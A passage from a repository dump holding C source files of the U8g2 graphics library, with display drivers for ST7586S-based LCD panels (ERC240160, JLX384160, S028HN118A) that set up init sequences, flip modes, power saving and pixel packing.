uint8_t u8x8_d_st7586s_sleep_off[] = {\n  U8X8_START_TRANSFER(),  /* enable chip, delay is part of the transfer start */\n  U8X8_C(0x011), //Sleep out\n  U8X8_DLY(50), /* delay 50 ms */\n  U8X8_END_TRANSFER(),  /* disable chip */\n  U8X8_END()                  /* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7586s_erc240160_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x036),  /* Scan Direction Setting */\n  U8X8_A(0x0C8),\t/* COM159 -> COM0 SEG383 -> SEG0 */\n  U8X8_C(0x037),\t/* Start line 0 */\n  U8X8_A(0x000),\n  U8X8_C(0x02A), /* Column Address Setting */\n  U8X8_A(0x000),  /* COL8 -> COL127 */\n  U8X8_A(0x008),  \n  U8X8_A(0x000), \n  U8X8_A(0x07F),  /* 120*3=240 pixels + 120 unused */\n  U8X8_END_TRANSFER(),  /* disable chip */\n  U8X8_END()           \t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7586s_erc240160_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x036),  /* Scan Direction Setting */\n  U8X8_A(0x000),  /* COM0 -> COM159 SEG0 -> SEG383 */\n  U8X8_C(0x037),  /* Start line 0 */\n  U8X8_A(0x000),\n  U8X8_C(0x02A),  /* Column Address Setting */\n  U8X8_A(0x000),  /* COL0 -> COL119 */\n  U8X8_A(0x000),\n  U8X8_A(0x000),\n  U8X8_A(0x077),  /* 120*3=240 pixels + 120 unused */\n  U8X8_END_TRANSFER(),  /* disable chip */\n  U8X8_END()            /* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7586s_erc240160_init_seq[] = {\n  U8X8_START_TRANSFER(),/* enable chip */\n  U8X8_END_TRANSFER(),/* disable chip */\n // U8G_ESC_RST(1), /* hardware reset */\n  U8X8_DLY(60),   /* Delay 60 ms */\n  U8X8_START_TRANSFER(),/* enable chip */\n\n  U8X8_C(0x001), // Soft reset\n  U8X8_DLY(60), // Delay 120 ms\n\n  U8X8_C(0x011), // Sleep Out\n  U8X8_C(0x028), // Display OFF\n  U8X8_DLY(25), // Delay 50 ms\n\n  U8X8_CAA(0x0C0,0x036,0x01),// Vop = 136h data sheet suggested 0x0145 but this caused streaks\n\n  U8X8_CA(0x0C3,0x000), // BIAS = 1/14\n\n  U8X8_CA(0x0C4,0x007), // Booster = x8\n\n  U8X8_CA(0x0D0,0x01D), // Enable Analog Circuit\n\n  U8X8_CA(0x0B3,0x000), // Set FOSC divider\n\n  U8X8_CA(0x0B5,0x000), // N-Line = 0\n\n  U8X8_C(0x039), // 0x39 Monochrome mode. 0x38 - gray Mode\n\n  U8X8_C(0x03A), // Enable DDRAM Interface\n  U8X8_A(0x002), // monochrome and 4-level\n\n  U8X8_C(0x036), // Scan Direction Setting\n  U8X8_A(0x0C8), // COM:C159->C0   SEG: SEG383->SEG0\n\n  U8X8_C(0x0B1), // First output COM\n  U8X8_A(0x000), // \n  \n  U8X8_C(0x0B0), // Duty Setting (num rows - 1)\n  U8X8_A(0x09F), \n\n  U8X8_C(0x020), // Display inversion off\n\n  U8X8_C(0x02A), // Column Address Setting\n  U8X8_A(0x000), // COL0 -> COL127\n  U8X8_A(0x008), // \n  U8X8_A(0x000), //\n  U8X8_A(0x07F), // 80*3=240 pixels\n\n  U8X8_C(0x02B), // Row Address Setting\n  U8X8_A(0x000), // ROW0 -> ROW159\n  U8X8_A(0x000), //\n  U8X8_A(0x000), //\n  U8X8_A(0x09F), // 160 pixels\n\n  U8X8_C(0x029), // Display ON\n  U8X8_END_TRANSFER(),/* disable chip */\n  U8X8_END()  /* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_st7586s_erc240160_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n\n  /* post_chip_enable_wait_ns = */ 5,\n  /* pre_chip_disable_wait_ns = */ 5,\n  /* reset_pulse_width_ms = */ 1,\n  /* post_reset_wait_ms = */ 6,\n  /* sda_setup_time_ns = */ 20,\n  /* sck_pulse_width_ns = */  100,  /* datasheet ST7586S */\n  /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* ST7586+Atmega128RFA1 works with 8MHz */\n  /* spi_mode = */ 3,   /* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 20, /* datasheet suggests min 20 */\n  /* write_pulse_width_ns = */ 40,\n  /* tile_width = */ 30,\n  /* tile_height = */ 20,\n  /* default_x_offset = */ 0,  /* abused as flag to know if we are flipped */\n  /* flipmode_x_offset = */ 1, /* as pixel order different for normal/flipped  */\n  /* pixel_width = */ 240,\n  /* pixel_height = */ 160\n};\n\n/*******************************************************************************\n * st7586s_erc240160 driver. ST7586 based display from buydisplay.com\n ******************************************************************************/\nuint8_t u8x8_d_st7586s_erc240160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) {\n  \n  uint8_t c;\n  uint8_t *ptr;\n  uint8_t i, byte;\n  uint32_t input;\n  uint8_t output[4];\n  switch (msg) {\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n    u8x8_cad_StartTransfer(u8x8); // OK Start transfer\n    u8x8_cad_SendCmd(u8x8, 0x02B);  /* Row Address Setting */\n    u8x8_cad_SendArg(u8x8, 0x000);\n    u8x8_cad_SendArg(u8x8, 0x008 * ((u8x8_tile_t *)arg_ptr)->y_pos);\n    u8x8_cad_SendArg(u8x8, 0x000);\n    u8x8_cad_SendArg(u8x8, 0x09F); // should set end row based on display dimensions\n    u8x8_cad_SendCmd(u8x8, 0x02C);  /* cmd write display data to ram */\n    c = ((u8x8_tile_t *) arg_ptr)->cnt; //\n    c *= 8;\n    ptr = ((u8x8_tile_t *) arg_ptr)->tile_ptr;  //\n\n// The ST7586S has an unusual 3 pixels per byte format the ERC240160 is even more annoying\n// as it has every 3rd COM line disconnected for extra oddness so here we read in a byte \n// (8 pixels) and pack that into 4 bytes of 2 pixels + 1 unused each. This has to be done\n// in a different order for flipped, normal UUx11x22 flipped 11x22xUU\n\twhile (c > 0) {\n      input = ((uint8_t)ptr[0]);\n      \n      for (i=0; i<4; i++)\n      {\n        byte = 0;\n        if (u8x8->x_offset ==0){\n          if (input & 0x80)          // if bit 7\n            byte = byte | 0x18;  //set pixel 1\n          if (input & 0x40)          // if bit 6\n            byte = byte | 0x3;  //set pixel 2\n        }\n        if (u8x8->x_offset ==1){\n          if (input & 0x80)          // if bit 7\n            byte = byte | 0xC0;  //set pixel 1\n          if (input & 0x40)          // if bit 6\n            byte = byte | 0x18;  //set pixel 2\n        }\n        output[i] = byte;\n        input <<= 2;\n      }\n      \n      u8x8_cad_SendData(u8x8, 4, output);\n      ptr += 1;\n      c -= 1;\n    }\n    u8x8_cad_EndTransfer(u8x8); \n    break;\n  case U8X8_MSG_DISPLAY_INIT:\n    u8x8_d_helper_display_init(u8x8);\n    u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_erc240160_init_seq);\n    break;\n  case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7586s_erc240160_display_info);\n    break;\n  case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n  \tif ( arg_int == 0 )\n    {\n       u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_erc240160_flip0_seq);\n       u8x8->x_offset = u8x8->display_info->default_x_offset;\n    }\n    else\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_erc240160_flip1_seq);\n      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n    }\t\n    break;\n  case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n    if (arg_int == 0)\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_sleep_off);\n    else\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_sleep_on);\n    break;\n#ifdef U8X8_WITH_SET_CONTRAST\n  case U8X8_MSG_DISPLAY_SET_CONTRAST:\n    u8x8_cad_StartTransfer(u8x8);\n    u8x8_cad_SendCmd(u8x8, 0x0C0);\n    u8x8_cad_SendArg(u8x8, arg_int);\n    u8x8_cad_SendArg(u8x8, 1);\n    u8x8_cad_EndTransfer(u8x8);\n    break;\n#endif\n  default:\n    return 0;\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_st7586s_jlx384160.c",
    "content": "/*\n  u8x8_d_st7586s_jlx384160.c\n  \n  copyied from u8x8_d_st7586s_s028hn118a.c\n  \n  Display: 384x160 pixel, https://github.com/olikraus/u8g2/issues/1932\n  ST7586s: 384 x 160 x 2\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n  \n  Copyright (c) 2022, olikraus@gmail.com\n  \n  All rights reserved.\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n#include \"u8g2.h\"\n\n\nstatic const uint8_t u8x8_d_st7586s_sleep_on[] = {\n  U8X8_START_TRANSFER(),  /* enable chip, delay is part of the transfer start */\n  U8X8_C(0x010), /* set power save mode */\n  U8X8_END_TRANSFER(),  /* disable chip */\n  U8X8_END()                  /* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7586s_sleep_off[] = {\n  U8X8_START_TRANSFER(),  /* enable chip, delay is part of the transfer start */\n  U8X8_C(0x011), //Sleep out\n  U8X8_DLY(50), /* delay 50 ms */\n  U8X8_END_TRANSFER(),  /* disable chip */\n  U8X8_END()                  /* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7586s_jlx384160_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x036),\t\t\t\t/* Scan Direction Setting */\n  U8X8_A(0x000),\t\t\t\t/* COM0 -> COM159 SEG0 -> SEG384 */\n  U8X8_C(0x037),\t\t\t\t/* Start line 0 */\n  U8X8_A(0x000),\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7586s_jlx384160_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x036),\t\t\t\t/* Scan Direction Setting */\n  U8X8_A(0x0C8),\t\t\t\t/* COM159 -> COM0 SEG384 -> SEG0 */\n  U8X8_C(0x037),\t\t\t\t/* Start line 0 */\n  U8X8_A(0x000),\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic uint8_t u8x8_d_st7586s_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) {\n  uint8_t c;\n  uint8_t *ptr;\n  uint8_t i, byte;\n  uint32_t input;\n  uint8_t output[8];\n  switch (msg) {\n  case U8X8_MSG_DISPLAY_DRAW_TILE:\n    u8x8_cad_StartTransfer(u8x8); // OK Start transfer\n    u8x8_cad_SendCmd(u8x8, 0x02B);  /* Row Address Setting */\n    u8x8_cad_SendArg(u8x8, 0x000);\n    u8x8_cad_SendArg(u8x8, 0x008 * ((u8x8_tile_t *)arg_ptr)->y_pos);\n    u8x8_cad_SendArg(u8x8, 0x000);\n    u8x8_cad_SendArg(u8x8, u8x8->display_info->pixel_height - 1);  /* should this be u8x8->display_info->pixel_height - 1 */\n    u8x8_cad_SendCmd(u8x8, 0x02C);  /* cmd write display data to ram */\n    c = ((u8x8_tile_t *) arg_ptr)->cnt; //\n    c *= 8;\n    ptr = ((u8x8_tile_t *) arg_ptr)->tile_ptr;  //\n\n// The ST7586S has an unusual 3 pixels per byte format so here we read in 3 bytes (24 pixels) and\n// pack that into 8 bytes of 3 pixels each \t\n\twhile (c > 0) {\n      input = (((uint32_t)ptr[0] << 16) | ((uint32_t)ptr[1] << 8) | (uint32_t)ptr[2]);\n      for (i=0; i<8; i++)\n      {\n        byte = 0;\n        if (input & 0x800000)          // if bit 23\n            byte = byte | 0xC0;  //set pixel 1\n        if (input & 0x400000)          // if bit 22\n            byte = byte | 0x18;  //set pixel 2\n\t\tif (input & 0x200000)          // if bit 22\n\t\t\tbyte = byte | 0x3;  //set pixel 3\n\t\toutput[i] = byte;\n        input <<= 3;\n      }\n      u8x8_cad_SendData(u8x8, 8, output);\n      ptr += 3;\n      c -= 3;\n    }\n    u8x8_cad_EndTransfer(u8x8);\n    break;\n  case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n    if (arg_int == 0)\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_sleep_off);\n    else\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_sleep_on);\n    break;\n#ifdef U8X8_WITH_SET_CONTRAST\n  case U8X8_MSG_DISPLAY_SET_CONTRAST:\n    u8x8_cad_StartTransfer(u8x8);\n    u8x8_cad_SendCmd(u8x8, 0x0C0);\n    u8x8_cad_SendArg(u8x8, arg_int);\n    u8x8_cad_SendArg(u8x8, 0);\n    u8x8_cad_EndTransfer(u8x8);\n    break;\n#endif\n  default:\n    return 0;\n  }\n  return 1;\n}\n\nstatic const uint8_t u8x8_d_st7586s_jlx384160_init_seq[] = {\n  U8X8_START_TRANSFER(),/* enable chip */\n  U8X8_END_TRANSFER(),/* disable chip */\n//  U8G_ESC_RST(15), /* hardware reset */\n  U8X8_DLY(60),   /* Delay 60 ms */\n  U8X8_START_TRANSFER(),/* enable chip */\n\n  U8X8_C(0x001), // Soft reset\n  U8X8_DLY(60), // Delay 120 ms\n\n  U8X8_C(0x011), // Sleep Out\n  U8X8_C(0x028), // Display OFF\n  U8X8_DLY(25), // Delay 50 ms\n\n  U8X8_CAA(0x0C0,0x0E5,0x00),// Vop = F0h in trace a bit too dark\n\n  U8X8_CA(0x0C3,0x004), // BIAS = 1/10 0x04 in trace\n\n  U8X8_CA(0x0C4,0x005), // Booster = x6 0x05 in trace\n\n  U8X8_CA(0x0D0,0x01D), // Enable Analog Circuit\n\n  U8X8_CA(0x0B3,0x000), // Set FOSC divider\n\n  U8X8_CA(0x0B5,0x08B), // N-Line = 0\n\n  U8X8_C(0x039), // 0x39 Monochrome mode. 0x38 - gray Mode\n\n  U8X8_C(0x03A), // Enable DDRAM Interface\n  U8X8_A(0x002), // monochrome and 4-level\n\n  U8X8_C(0x036), // Scan Direction Setting\n  U8X8_A(0x000), // COM0 -> COM159 SEG0 -> SEG384\n\n  U8X8_C(0x0B0), // Duty Setting (num rows - 1)\n  U8X8_A(0x09f), // 160-1\n\n  U8X8_C(0x020), // Display inversion off\n\n  U8X8_C(0x02A), // Column Address Setting\n  U8X8_A(0x000), // COL0 -> COL127\n  U8X8_A(0x000), // \n  U8X8_A(0x000), //\n  U8X8_A(0x07f), // 128*3=384 pixels\n\n  U8X8_C(0x02B), // Row Address Setting\n  U8X8_A(0x000), // ROW0 -> ROW135\n  U8X8_A(0x000), //\n  U8X8_A(0x000), //\n  U8X8_A(159), // 160 pixels\n\n  U8X8_C(0x0F1), // Frame rate monochrome\n  U8X8_A(0x00C), // The factory firmware set this to 49.0 Hz 0x07\n  U8X8_A(0x00C), // This caused a shimmer under 50Hz LED lights\n  U8X8_A(0x00C), // 69.0 Hz (0x0C) fixes this and should avoid the\n  U8X8_A(0x00C), // issue in the US too\n  \n  U8X8_C(0x029), // Display ON\n  U8X8_END_TRANSFER(),/* disable chip */\n  U8X8_END()  /* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_st7586s_jlx384160_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n\n  /* post_chip_enable_wait_ns = */ 5,\n  /* pre_chip_disable_wait_ns = */ 5,\n  /* reset_pulse_width_ms = */ 1,\n  /* post_reset_wait_ms = */ 6,\n  /* sda_setup_time_ns = */ 20,\n  /* sck_pulse_width_ns = */  100,  /* datasheet ST7586S */\n  /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* ST7586+Atmega128RFA1 works with 8MHz */\n  /* spi_mode = */ 3,   /* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 20, /* datasheet suggests min 20 */\n  /* write_pulse_width_ns = */ 40,\n  /* tile_width = */ 48,\n  /* tile_height = */ 20,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 384,\n  /* pixel_height = */ 160\n};\n\n/*******************************************************************************\n * st7586s_jlx384160 driver. This is the display in the SMART Response XE. This requires 16 bit mode.\n ******************************************************************************/\nuint8_t u8x8_d_st7586s_jlx384160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) {\n  if (u8x8_d_st7586s_common(u8x8, msg, arg_int, arg_ptr) != 0)\n    return 1;\n  \n  switch (msg) {\n  case U8X8_MSG_DISPLAY_INIT:\n    u8x8_d_helper_display_init(u8x8);\n    u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_jlx384160_init_seq);\n    break;\n  case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7586s_jlx384160_display_info);\n    break;\n  case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n  \tif ( arg_int == 0 )\n    {\n       u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_jlx384160_flip0_seq);\n       u8x8->x_offset = u8x8->display_info->default_x_offset;\n    }\n    else\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_jlx384160_flip1_seq);\n      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n    }\t\n    break;\n  default:\n    return 0;\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_st7586s_s028hn118a.c",
    "content": "/*\n  u8x8_d_st7586s_s028hn118a.c\n  \n  Display: 384x136 pixel\n  ST7586s: 384 x 160 x 2\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n  \n  Copyright (c) 2018, olikraus@gmail.com\n  \n  All rights reserved.\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n#include \"u8g2.h\"\n\n\nstatic const uint8_t u8x8_d_st7586s_sleep_on[] = {\n  U8X8_START_TRANSFER(),  /* enable chip, delay is part of the transfer start */\n  U8X8_C(0x010), /* set power save mode */\n  U8X8_END_TRANSFER(),  /* disable chip */\n  U8X8_END()                  /* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7586s_sleep_off[] = {\n  U8X8_START_TRANSFER(),  /* enable chip, delay is part of the transfer start */\n  U8X8_C(0x011), //Sleep out\n  U8X8_DLY(50), /* delay 50 ms */\n  U8X8_END_TRANSFER(),  /* disable chip */\n  U8X8_END()                  /* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7586s_s028hn118a_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x036),\t\t\t\t/* Scan Direction Setting */\n  U8X8_A(0x000),\t\t\t\t/* COM0 -> COM159 SEG0 -> SEG384 */\n  U8X8_C(0x037),\t\t\t\t/* Start line 0 */\n  U8X8_A(0x000),\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7586s_s028hn118a_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x036),\t\t\t\t/* Scan Direction Setting */\n  U8X8_A(0x0C8),\t\t\t\t/* COM159 -> COM0 SEG384 -> SEG0 */\n  U8X8_C(0x037),\t\t\t\t/* Start line 24 */\n  U8X8_A(0x018),\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic uint8_t u8x8_d_st7586s_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) {\n  uint8_t c;\n  uint8_t *ptr;\n  uint8_t i, byte;\n  uint32_t input;\n  uint8_t output[8];\n  switch (msg) {\n  case U8X8_MSG_DISPLAY_DRAW_TILE:\n    u8x8_cad_StartTransfer(u8x8); // OK Start transfer\n    u8x8_cad_SendCmd(u8x8, 0x02B);  /* Row Address Setting */\n    u8x8_cad_SendArg(u8x8, 0x000);\n    u8x8_cad_SendArg(u8x8, 0x008 * ((u8x8_tile_t *)arg_ptr)->y_pos);\n    u8x8_cad_SendArg(u8x8, 0x000);\n    u8x8_cad_SendArg(u8x8, u8x8->display_info->pixel_height - 1);  /* should this be u8x8->display_info->pixel_height - 1 */\n    u8x8_cad_SendCmd(u8x8, 0x02C);  /* cmd write display data to ram */\n    c = ((u8x8_tile_t *) arg_ptr)->cnt; //\n    c *= 8;\n    ptr = ((u8x8_tile_t *) arg_ptr)->tile_ptr;  //\n\n// The ST7586S has an unusual 3 pixels per byte format so here we read in 3 bytes (24 pixels) and\n// pack that into 8 bytes of 3 pixels each \t\n\twhile (c > 0) {\n      input = (((uint32_t)ptr[0] << 16) | ((uint32_t)ptr[1] << 8) | (uint32_t)ptr[2]);\n      for (i=0; i<8; i++)\n      {\n        byte = 0;\n        if (input & 0x800000)          // if bit 23\n            byte = byte | 0xC0;  //set pixel 1\n        if (input & 0x400000)          // if bit 22\n            byte = byte | 0x18;  //set pixel 2\n\t\tif (input & 0x200000)          // if bit 22\n\t\t\tbyte = byte | 0x3;  //set pixel 3\n\t\toutput[i] = byte;\n        input <<= 3;\n      }\n      u8x8_cad_SendData(u8x8, 8, output);\n      ptr += 3;\n      c -= 3;\n    }\n    u8x8_cad_EndTransfer(u8x8);\n    break;\n  case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n    if (arg_int == 0)\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_sleep_off);\n    else\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_sleep_on);\n    break;\n#ifdef U8X8_WITH_SET_CONTRAST\n  case U8X8_MSG_DISPLAY_SET_CONTRAST:\n    u8x8_cad_StartTransfer(u8x8);\n    u8x8_cad_SendCmd(u8x8, 0x0C0);\n    u8x8_cad_SendArg(u8x8, arg_int);\n    u8x8_cad_SendArg(u8x8, 0);\n    u8x8_cad_EndTransfer(u8x8);\n    break;\n#endif\n  default:\n    return 0;\n  }\n  return 1;\n}\n\nstatic const uint8_t u8x8_d_st7586s_s028hn118a_init_seq[] = {\n  U8X8_START_TRANSFER(),/* enable chip */\n  U8X8_END_TRANSFER(),/* disable chip */\n//  U8G_ESC_RST(15), /* hardware reset */\n  U8X8_DLY(60),   /* Delay 60 ms */\n  U8X8_START_TRANSFER(),/* enable chip */\n\n  U8X8_C(0x001), // Soft reset\n  U8X8_DLY(60), // Delay 120 ms\n\n  U8X8_C(0x011), // Sleep Out\n  U8X8_C(0x028), // Display OFF\n  U8X8_DLY(25), // Delay 50 ms\n\n  U8X8_CAA(0x0C0,0x0E5,0x00),// Vop = F0h in trace a bit too dark\n\n  U8X8_CA(0x0C3,0x004), // BIAS = 1/10 0x04 in trace\n\n  U8X8_CA(0x0C4,0x005), // Booster = x6 0x05 in trace\n\n  U8X8_CA(0x0D0,0x01D), // Enable Analog Circuit\n\n  U8X8_CA(0x0B3,0x000), // Set FOSC divider\n\n  U8X8_CA(0x0B5,0x08B), // N-Line = 0\n\n  U8X8_C(0x039), // 0x39 Monochrome mode. 0x38 - gray Mode\n\n  U8X8_C(0x03A), // Enable DDRAM Interface\n  U8X8_A(0x002), // monochrome and 4-level\n\n  U8X8_C(0x036), // Scan Direction Setting\n  U8X8_A(0x000), // COM0 -> COM159 SEG0 -> SEG384\n\n  U8X8_C(0x0B0), // Duty Setting (num rows - 1)\n  U8X8_A(0x087), // should be 0x87 but caused flicker 0x9F\n\n  U8X8_C(0x020), // Display inversion off\n\n  U8X8_C(0x02A), // Column Address Setting\n  U8X8_A(0x000), // COL0 -> COL127\n  U8X8_A(0x000), // \n  U8X8_A(0x000), //\n  U8X8_A(0x07f), // 128*3=384 pixels\n\n  U8X8_C(0x02B), // Row Address Setting\n  U8X8_A(0x000), // ROW0 -> ROW135\n  U8X8_A(0x000), //\n  U8X8_A(0x000), //\n  U8X8_A(0x087), // 136 pixels\n\n  U8X8_C(0x0F1), // Frame rate monochrome\n  U8X8_A(0x00C), // The factory firmware set this to 49.0 Hz 0x07\n  U8X8_A(0x00C), // This caused a shimmer under 50Hz LED lights\n  U8X8_A(0x00C), // 69.0 Hz (0x0C) fixes this and should avoid the\n  U8X8_A(0x00C), // issue in the US too\n  \n  U8X8_C(0x029), // Display ON\n  U8X8_END_TRANSFER(),/* disable chip */\n  U8X8_END()  /* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_st7586s_s028hn118a_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n\n  /* post_chip_enable_wait_ns = */ 5,\n  /* pre_chip_disable_wait_ns = */ 5,\n  /* reset_pulse_width_ms = */ 1,\n  /* post_reset_wait_ms = */ 6,\n  /* sda_setup_time_ns = */ 20,\n  /* sck_pulse_width_ns = */  100,  /* datasheet ST7586S */\n  /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* ST7586+Atmega128RFA1 works with 8MHz */\n  /* spi_mode = */ 3,   /* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 20, /* datasheet suggests min 20 */\n  /* write_pulse_width_ns = */ 40,\n  /* tile_width = */ 48,\n  /* tile_height = */ 17,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 384,\n  /* pixel_height = */ 136\n};\n\n/*******************************************************************************\n * st7586s_s028hn118a driver. This is the display in the SMART Response XE. This requires 16 bit mode.\n ******************************************************************************/\nuint8_t u8x8_d_st7586s_s028hn118a(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) {\n  if (u8x8_d_st7586s_common(u8x8, msg, arg_int, arg_ptr) != 0)\n    return 1;\n  \n  switch (msg) {\n  case U8X8_MSG_DISPLAY_INIT:\n    u8x8_d_helper_display_init(u8x8);\n    u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_s028hn118a_init_seq);\n    break;\n  case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7586s_s028hn118a_display_info);\n    break;\n  case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n  \tif ( arg_int == 0 )\n    {\n       u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_s028hn118a_flip0_seq);\n       u8x8->x_offset = u8x8->display_info->default_x_offset;\n    }\n    